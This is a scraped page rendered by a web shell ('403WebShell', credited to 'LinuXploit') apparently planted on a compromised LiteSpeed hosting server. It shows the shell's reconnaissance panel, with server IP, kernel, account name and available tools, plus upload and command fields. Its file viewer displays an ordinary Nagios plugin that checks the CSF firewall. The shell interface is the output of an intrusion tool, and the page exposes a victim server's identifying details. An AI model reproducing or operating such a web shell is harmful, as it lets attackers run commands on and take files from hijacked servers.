Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.136.18.192
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/nccustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/nccustom/check_csf
#!/usr/libexec/platform-python

#####################################
# this file is under Puppet control #
# the last change:                  #
# 2014/10/08, Eduard N.             #
#####################################

"""Nagios plugin to check the csf status and updates."""

__title__ = 'check_csf'
__version__ = '''2014/10/08, 1.2.2,
special version for NC, Eduard N.'''

'''
Please pay attention that it's necessary to add following access to sudoers file(s)
/usr/sbin/csf -c
/usr/sbin/csf -g "special_IP"
'''

debug = 0
special_IP = '198.54.118.100' # IP of pm4
#special_IP = '198.54.118.40' # IP of pm4
#special_IP = '162.213.249.250' # IP of pm2
CSF = '/usr/sbin/csf'
SUDO = '/usr/bin/sudo'

OK = 0
WARNING = 1
CRITICAL = 2
UNKNOWN = 3

import os, re, sys


def end(status, message, perfdata=""):
    """Exits the plugin with first arg as the return code and the second arg as the message to output."""

    if perfdata:
        print( "%s | %s" % (message, perfdata))
    else:
        print( "%s" % message)

    if status == OK:
        sys.exit(OK)
    elif status == WARNING:
        sys.exit(WARNING)
    elif status == CRITICAL:
        sys.exit(CRITICAL)
    else:
        sys.exit(UNKNOWN)

try:
    from subprocess import Popen, PIPE, STDOUT
except ImportError:
    end(WARNING, 'This script should be run under Python version more than 2.3')

def check_csf_usable():
    """Checks that the CSF program and path are correct and usable - that the program exists and is executable, otherwise exits with error."""

    if not os.path.exists(CSF):
        end(UNKNOWN, "%s cannot be found" % CSF)
    elif not os.path.isfile(CSF):
        end(UNKNOWN, "%s is not a file" % CSF)
    elif not os.access(CSF, os.X_OK):
        end(UNKNOWN, "%s is not executable" % CSF)

def check_programm_usable(programm, access = True):
        """Checks that the SUDO program and path are correct and usable - that the program exists and is executable, otherwise exits with error."""

        if not os.path.exists(programm):
                end(UNKNOWN, "%s cannot be found" % programm)
        elif not os.path.isfile(programm):
                end(UNKNOWN, "%s is not a file" % programm)
        elif access and not os.access(programm, os.X_OK):
                end(UNKNOWN, "%s is not executable" % programm)


import argparse

parser = argparse.ArgumentParser(description='csf status')
parser.add_argument("-s", "--speсialip", type=str, default="198.54.118.100", help="Default is 198.54.118.100")
    
special_IP = parser.parse_args().speсialip

check_programm_usable(SUDO)
check_programm_usable(CSF, False)

# check of current state of csf
re_status_disabled = re.compile('csf and lfd have been disabled')
re_status_checkIP = re.compile('^\w*\s*\d*\s*\d*\s*\d*.*\s*ACCEPT\s*\w*\s*.*'+special_IP+'\s*',re.M)

cmd = SUDO + ' ' + CSF + ' -g ' + special_IP 
process = Popen(cmd.split(), stdout=PIPE, stderr=STDOUT, encoding="utf-8" )
output = process.communicate()
returncode = process.returncode
stdout = output[0]
if debug: print (cmd, stdout)
if re.match(re_status_disabled, stdout):
    end(CRITICAL, stdout)
elif re.search(re_status_checkIP, stdout):
    pass
else:
    end(CRITICAL, "Rule set isn't full. Check config and restart csf. " + stdout.strip())


# check new updates
re_update_latest = re.compile('csf is already at the latest version')
re_update_not_latest = re.compile('A newer version of csf is available')

cmd = SUDO + ' ' + CSF + ' -c'
process = Popen(cmd.split(), stdout=PIPE, stderr=STDOUT, encoding="utf-8")
output = process.communicate()
returncode = process.returncode
stdout = output[0]
if debug: print (cmd, stdout)

if re.match(re_update_not_latest, stdout):
    end(WARNING, stdout)
elif re.match(re_update_latest, stdout):
    end(OK, stdout)
else:
    end(WARNING, stdout)

Youez - 2016 - github.com/yon3zu
LinuXploit